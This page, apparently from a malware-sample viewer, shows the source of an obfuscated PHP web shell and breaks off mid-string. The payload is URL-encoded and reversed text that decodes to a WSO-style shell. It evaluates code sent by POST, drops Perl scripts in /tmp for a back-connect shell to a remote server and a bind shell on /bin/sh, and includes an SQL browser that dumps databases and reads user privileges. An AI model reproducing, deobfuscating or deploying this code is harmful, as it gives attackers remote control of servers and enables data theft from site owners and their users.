Jump to:
Screenshot
Attributes
Encoding
<?php
@error_reporting(0);
@set_time_limit(0);
$code = "%3Btixe%0D%0A%3B%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28cnuf_resu_llac%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29%5D%27a%27%5BTSOP_%24%28ytpme%21+%28fi%0D%0A%3B%27ofnIceS%27+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0Aesle%09%0D%0A%3Bnoitca_tluafed%24+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0A%29%29noitca_tluafed%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29noitca_tluafed%24%28tessi%28fi%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24%28ytpme+%28fi%0D%0A%7D%0D%0A%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%29a%24%28ezilaires+ohce%09%09%0D%0A%3B%29%09%09%0D%0A%29%27edom_efas%27%28teg_ini%40+%3E%3D+%22edomefas%22%09%09%09%0D%0A%2CNOISREV_OSW+%3E%3D+%22noisrev_osw%22%09%09%09%0D%0A%2C%29%28noisrevphp+%3E%3D+%22noisrev_php%22%09%09%09%0D%0A%2C%29%28emanu_php+%3E%3D+%22emanu%22%09%09%09%0D%0A%28yarra+%3D+a%24%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%40%21%28fi%09%0D%0A%7B+%29%28CRnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.cb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.cb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%273p%27%5BTSOP_%24.%22+%22.%5D%272p%27%5BTSOP_%24.%22+lp.cb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_tcennoc_kcab%24%2C%22lp.cb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27pcb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.pb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.pb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%272p%27%5BTSOP_%24.%22+lp.pb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_trop_dnib%24%2C%22lp.pb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27ppb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29w%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%29t%24%28edoced_46esab%40%2Cw%24%28etirwf%40%09%09%09%09%0D%0A%7B%29w%24%28fi%09%09%09%0D%0A%3B%29%27stnetnoc_tup_elif%27%28stsixe_noitcnuf%40+ro+%29%22w%22%2Cf%24%28nepof%40+%3D+w%24%09%09%09%0D%0A%7B+%29t%24%2Cf%24%28fc+noitcnuf%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3Erb%3C%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP+%3E%27%22.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.%22%27%3Deulav+%27revres%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3ArevreS%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B++tcennoc-kcaB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2Ceulav.revres.siht%2C%27pcb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B+hs%2Fnib%2F+ot+trop+dniB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2C%27ppb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+krowteN%3E1h%3C%22+ohce%09%0D%0A%3B%22%3D0nCN0XCK0wOwACdphXZJkgCNsjTO90QgU2cvx2YJkgCNsjIuxFTMVESTRCIlRXdjVGelBCduF2QiAiTO90QgQnbpJHcgUWakBCf8BCTMVESTRCIjVGellQCK0wOi4kTPNkJ%2BICLSJVRER1Ug4WZw9WCJoQD7IiTO90Qm4jIsQVVPREVTBiblB3bJkgCNsjIO50TDZCPiwiTJREVTBiblB3bJkgCNsTKklGckACZl5WamVGZhgCImlGIismcvZGI09mbuF2QiASZpRWCJoQD7BSKpsmcvZWPklGckgSIoYWaJoQD7kyUs4kTPNEK0BXZjNWYJoQD7BSKxgSZslGa3pQD7IibcRncvBHIuVGdzlGbgQnbhNkIgUWakBCf8BSKzwyUo4WZ0NXaspQD7IibcRncvBHIuVGcvBCduF2QiASZpRGI8xHIpkSWOF0XSRERB5USs0FMbZ1RSFEJo4WafJHZkF2aj92csMFKk5WaipQD7kSMsIFREFURTVVRS91TTxCVFt0QPN1XM90UsMFK0B3brN2bzRXZzpQD7IibcRXZrN2bzBSZ0FWZyNGI05WYDJCIllGZgwHfgkSKnA3Y0dCKl1WYulnYvR3byBHdldGLNFURSR1Uft0QPNlJsQVROl0XGBlJsMFK0V2aj92cK0wO0V2aj92UgU2c1pQD9ByOpEDK0lGelByegkSMgwDIWdkUBBEKgYWaK0wOikWLgg2cv4Wai9iI9wETFh0UkoQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_trop_dnib%24%09%0D%0A%3B%227kiUSVERUNFKlN3bsNmCNsTKUV1TER1UoU2cvx2YK0wOp4USER1UoU2cvx2YK0wOpcSatACaz9ibpJ2LngSblR3c5NnCNsTKiQVRLN0TTZiPiACLSJVRER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLUV1TER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLOlERUNFKuVGcvpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKyRGZhBHJgwCVFt0QPNFK0NWZu52bjpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKvR3byBHJgwSTBVkUUN1XLN0TTBCLUVkTJ9lRQBCLUV0SD90UoQXZrN2bzpQD7kyJwNGdngSZtFmb5J2b09mcwRXZn1zb09mcwRiCNsTKi4GXhQCI6I3byJXRigSZpRGI8xHIpIHZkFWakACLdFzWWdkUBRCKul2XyRGZht2YvNXPyRGZhBHJK0wOpIibcFCJgojcvJncFJCKllGZgwHfgkSXwslVHJVQkgibvRXYfRXZulWPyRGZhlGJK0wO0V2aj92UgU2c1pQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_tcennoc_kcab%24%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28krowteNnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D++++%0D%0A%3B%29%29%28rorre%3E-bd%24%28srahclaicepslmth+ohce++++++++%0D%0A%7B+esle+%7D%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27.%29%5D%27elif%27%5Belif%24%28srahclaicepslmth.%27%3E1lm%3Dssalc+erp%3C%3E%2Frb%3C%27+ohce%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28eliFdaol%3E-bd%24+%3D+elif%24%09%09%09%09%0D%0A%7B+%29%27elifdaol%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%0D%0A%7D++++++++++++%0D%0A%3B%22%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc++tupni%3C+%3Enaps%2F%3Celif+daoL%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.f.siht%3Deulav.2p.fs.tnemucod%3B%22%5Celifdaol%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%22+ohce++++++++++++++++++++%0D%0A%29%29%28hctef%3E-bd%24%28fi++++++++++++++++%0D%0A%3B%29%22%27y%27+%3D+%60virp_eliF%60+DNA+%29%28RESU+%3D+%29%60tsoh%60+%2C%27%40%27+%2C%60resu%60%28tacnoc+EREHW+resu.lqsym+MORF+1+TCELES%22%28yreuq%3E-bd%24++++++++++++++++%0D%0A%7B+%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi++++++++++++%0D%0A%3B%22%3E%2Frb%3C%3Emrof%2F%3C%3Eelbat%2F%3C%22+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3Ert%2F%3C%3Edt%2F%3C%22+ohce%09%09%09%09%0D%0A%3B%22%3E%27etucexE%27%3Deulav+timbus%3Depyt+tupni%3C%3E%2Frb%3C%3Eaeratxet%2F%3C%22+ohce++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28srahclaicepslmth+ohce++++++++++++++++++++%0D%0A%29%29%27elifdaol%27+%3D%21+%5D%271p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3B%22%3E%27xp001%3Athgieh%3B%25001%3Ahtdiw%27%3Delyts+%27yreuq%27%3Deman+aeratxet%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.yreuq.siht%3Deulav.2p.fs.d%3B%22%5Cyreuq%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%3Emrof%2F%3C%3Erb%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29%29%28rorre%3E-bd%24%28srahclaicepslmth.%27+%3Eb%2F%3C%3ArorrE%3Eb%3C%3Evid%3C%27+ohce%09%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%27+ohce%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%27%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%27.%29%29eulav%24%28srahclaicepslmth%28rb2ln.%27%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%3Ei%2F%3Cllun%3Ei%3C%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29llun+%3D%3D+eulav%24%28fi%09%09%09%09%09%09%09%09%0D%0A%7B+%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%0D%0A%3B1%3A2%3F1%3D%3Denil%24+%3D+enil%24%09%09%09%09%09%09%09%0D%0A%3B%27%3E%22%27.enil%24.%27l%22%3Dssalc+rt%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B2+%3D+enil%24%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%3Beurt%3Deltit%24%09%09%09%09%09%09%09%09%0D%0A%3B%29meti%24%28teser%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Eht%2F%3C%27.yek%24.%27%3Eht%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%7B%09%29eltit%24%21%28fi%09%09%09%09%09%09%09%0D%0A%7B%09%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%09%09%0D%0A%3B1+%3D+enil%24%09%09%09%09%09%09%0D%0A%3B%27%3E%22929292%23%3Aroloc-dnuorgkcab%22%3Delyts+niam%3Dssalc+2%3Dgniddapllec+1%3Dgnicapsllec+%25001%3Dhtdiw+elbat%3C%27+ohce%09%09%09%09%09%09%0D%0A%3Beslaf+%3D+eltit%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+ser%3E-bd%24%28fi%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%40%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%27yreuq%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%22+ohce%09%09%09%09%09%0D%0A%3B%2703%2C%27.%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TIMIL+%60%27.%5D%272p%27%5BTSOP_%24.%27%60+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TESFFO+03+TIMIL+%27.%5D%272p%27%5BTSOP_%24.%27+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0A%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi%09%09%09%09%09%0D%0A%3B--%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3C%3Btg%26+txeN%3E%27%29%22+.+%291%2B%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%29segap%24+%3C+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3CverP+%3Btl%26%3E%27%29%22+.+%291-%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%291+%3E+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22segap%24+fo+%22+ohce++++++++++++++++++++%0D%0A%3B%22%3E%22+.+%29%5D%273p%27%5BTSOP_%24%29tni%28%28+.+%22%3Deulav+%273p%27%3Deman+txet%3Depyt+tupni%3C+%23+egaP+%29sdrocer+%7D%5D%27n%27%5Bmun%24%7B%28+%3Enaps%2F%3C%22.%5D%272p%27%5BTSOP_%24.%22%3Enaps%3C%3Etpircs%2F%3C%7D%29eulav.3p.fs.d+%2C%22%5C%22+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%7B%29%28noitcnuf%3Dtimbusno.fs.d%3Etpircs%3C%22+ohce++++++++++++++++++++%0D%0A%3B%2903+%2F+%5D%27n%27%5Bmun%24%28liec+%3D+segap%24%09%09%09%09%09%0D%0A%3B%29%28hctef%3E-bd%24+%3D+mun%24%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24+.+%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%3B1%3A%5D%273p%27%5BTSOP_%24%3F%5D%273p%27%5BTSOP_%24+%3D+%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%27yreuq%27+%3D+%5D%271p%27%5BTSOP_%24%09%09%09%09%09%0D%0A%7B+%29%27tceles%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%09%0D%0A%3B%22%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+dt%3C%3Edt%2F%3C%3E%27lqs.pmud%27%3Deulav+elif%3Deman+txet%3Depyt+tupni%3C%3Ahtap+eliF%3Erb%3C%3E%27%3B%29%28timbus.fs.tnemucod%3B%22%5Cdaolnwod%22%5C%3Deulav.2p.fs.tnemucod%27%3Dkcilcno+%27pmuD%27%3Deulav+nottub%3Depyt+tupni%3C+%3E%27%3B%29%28si%27%3Dkcilcno+%27xobkcehc%27%3Depyt+tupni%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erbon%2F%3C%22+.+%29%22%3Ellams%2F%3C%29%7D%5D%27n%27%5Bn%24%7B%28%3Ellams%3C+%22%3A%27%3Bpsbn%26%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%3Ea%2F%3C%22.eulav%24.%22%3E%22%5C%291%2C%27%22.eulav%24.%22%27%28ts%22%5C%3Dkcilcno+%23%3Dferh+a%3C%3Bpsbn%26%3E%27%22.eulav%24.%22%27%3Deulav+%27%5D%5Blbt%27%3Deman+%27xobkcehc%27%3Depyt+tupni%3C%3Erbon%3C%22+ohce%09%09%09%09%09%0D%0A%3B%29eulav%24%28srahclaicepslmth+%3D+eulav%24%09%09%09%09%09%0D%0A%3B%29%29%27%27.eulav%24.%27+MORF+n+sa+%29%2A%28TNUOC+TCELES%27%28yreuq%3E-bd%24%28hctef%3E-bd%24+%3D+n%24++++++++++++++++++++++++%0D%0A%29%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++++++%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%09%0D%0A%7B+%29%29ser_slbt%24%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%0D%0A%3B%29%28selbaTtsil%3E-bd%24+%3D+ser_slbt%24%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%3Enaps%2F%3C%3AselbaT%3Enaps%3C%3E%27%3B666%23+dilos+xp2%3Apot-redrob%27%3Delyts+1%3Dhtdiw+dt%3C%3Ert%3C%22+ohce%09%09%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%09%09%0D%0A%7B%29%29%5D%27esab_lqs%27%5BTSOP_%24%28ytpme%21%28fi%09%09%09%0D%0A%3B%22%3E0%3Dgnicapsllec+2%3Dgniddapllec+%25001%3Dhtdiw+elbat%3C%3E%2Frb%3C%22+ohce%09%09%0D%0A%7B%29knil%3E-bd%24+%26%26+%29bd%24%28tessi%28fi%09%0D%0A%3B%22%3Etpircs%2F%3C%09%09%0D%0A%7D%09%09%09%0D%0A%3Bdekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%21+%3D+dekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%09%09%09%09%09%0D%0A%29i%2B%2B%3Bhtgnel.%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%3Ci%3B0%3Di%28rof%09%09%09%09%0D%0A%7B+%29%28si+noitcnuf%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%28timbus.fs.d%09%09%09%09%0D%0A%3Bl+%3D+eulav.3p.fs.d+%293p.fs.d+%26%26+l%28fi++++++++++++++++%0D%0A%3Bt+%3D+eulav.2p.fs.d%09%09%09%09%0D%0A%3B%27tceles%27+%3D+eulav.1p.fs.d%09%09%09%09%0D%0A%7B+%29l%2Ct%28ts+noitcnuf%09%09%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%27%27%3Deulav.3p.f+%293p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.2p.f+%292p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.1p.f+%291p.f%28fi++++++++++++++++++++%0D%0A%3B%7D%7B+%29%28noitcnuf+%3D+timbusno.f+%7B+%29bd_s%3D%21eulav.esab_lqs.f%28fi++++++++++++++++%0D%0A%7B+%29f%28sf+noitcnuf++++++++++++%0D%0A%3B%27%22.%29%5D%27esab_lqs%27%5BTSOP_%24%28sehsalsdda%40.%22%27%3Dbd_s++++++++++++%0D%0A%3Etpircs%3C%09%09%0D%0A%3Eelbat%2F%3C%09%09%0D%0A%3Ert%2F%3C%09%09%09%0D%0A%3Edt%2F%3Cswor+fo+rebmun+eht+tnuoc+%3E%22+.+%29%27dekcehc+%27%3A%27%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%27no%27%3Deulav+tnuoc_lqs%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C++++++++++++++++%0D%0A%3Edt%2F%3C%3E%27%3B%29fs.d%28sf%27%3Dkcilcno+%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%09%09%09%09%0D%0A%3Edt%2F%3C%22+ohce%09%0D%0A%3Bpmt%24+ohce%09%09%0D%0Aesle%7D%09%0D%0A%3Bpmt%24+ohce+esle%09%09%0D%0A%7D%09%09%0D%0A%3B%27%3Etceles%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.eulav%24.%27%3E%27.%29%27%27%3A%27detceles%27%3F%5D%27esab_lqs%27%5BTSOP_%24%3D%3Deulav%24%28.%27+%22%27.eulav%24.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%09%09%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%3E%27%27%3Deulav+noitpo%3C%3Eesab_lqs%3Deman+tceles%3C%22+ohce%09%09%09%0D%0A%3B%29%28sbDtsil%3E-bd%24%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac%09%09%09%09%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws%09%09%09%0D%0A%7B+%29%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5BTSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%28fi%09%09%0D%0A%7B%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3E%27%27%3Deulav+esab_lqs%3Deman+txet%3Depyt+tupni%3C%22+%3D+pmt%24%09%0D%0A%3B%22%3Edt%3C%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27ssap_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29%5D%27ssap_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+ssap_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27nigol_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27toor%27%3F%29%5D%27nigol_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+nigol_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27tsohlacol%27%3F%29%5D%27tsoh_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+tsoh_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi%0D%0A%3B%22+%27lqsgp%27%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi++++%0D%0A%3B%22+%27lqsym%27%3Deulav+noitpo%3C%3E%27epyt%27%3Deman+tceles%3C%3Edt%3C%0D%0A%3E%27%22.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%3E%27%27%3Deulav+2p%3Deman+neddih%3Depyt+tupni%3C%3E%27yreuq%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%3ElqS%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Edt%3C%3Edt%2F%3CesabataD%3Edt%3C%3Edt%2F%3CdrowssaP%3Edt%3C%3Edt%2F%3CnigoL%3Edt%3C%3Edt%2F%3CtsoH%3Edt%3C%3Edt%2F%3CepyT%3Edt%3C%0D%0A%3Ert%3C%3E%270%27%3Dgnicapsllec+%272%27%3Dgniddapllec+elbat%3C%3E%27%3B%29siht%28sf%27%3Dtimbusno+%27tsop%27%3Ddohtem+%27fs%27%3Deman+mrof%3C%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cresworb+lqS%3E1h%3C%0D%0A%22+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%3B%29%27%3Etpircs%2F%3C%291-%28kcab.yrotsih.wodniw%3B%29%22elif+nepo+t%27%5CnaC+%21rorrE%22%28trela%3Etpircs%3C%27%28eid++++++++++++%0D%0Aesle+%7D++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28tesnu++++++++++++%0D%0A%3B%29pf%24%28esolcf++++++++++++%0D%0A%3B%29pf%24+%2Cv%24%28pmud%3E-bd%24++++++++++++++++%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%7B+%29%29%27w%27+%2C%5D%27elif%27%5BTSOP_%24%28nepof%40+%3D+pf%24%28fiesle+%7D++++++++%0D%0A%3Btixe++++++++++++%0D%0A%3B%29v%24%28pmud%3E-bd%24%09%09%09%09%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%3B%29%22nialp%2Ftxet+%3AepyT-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%29%22lqs.pmud%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo++++++++++++%0D%0A%7B+%29%29%5D%27elif%27%5BTSOP_%24%28ytpme%28fi++++++++%0D%0A%7D++++++++%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac++++++++++++%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws++++++++%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5B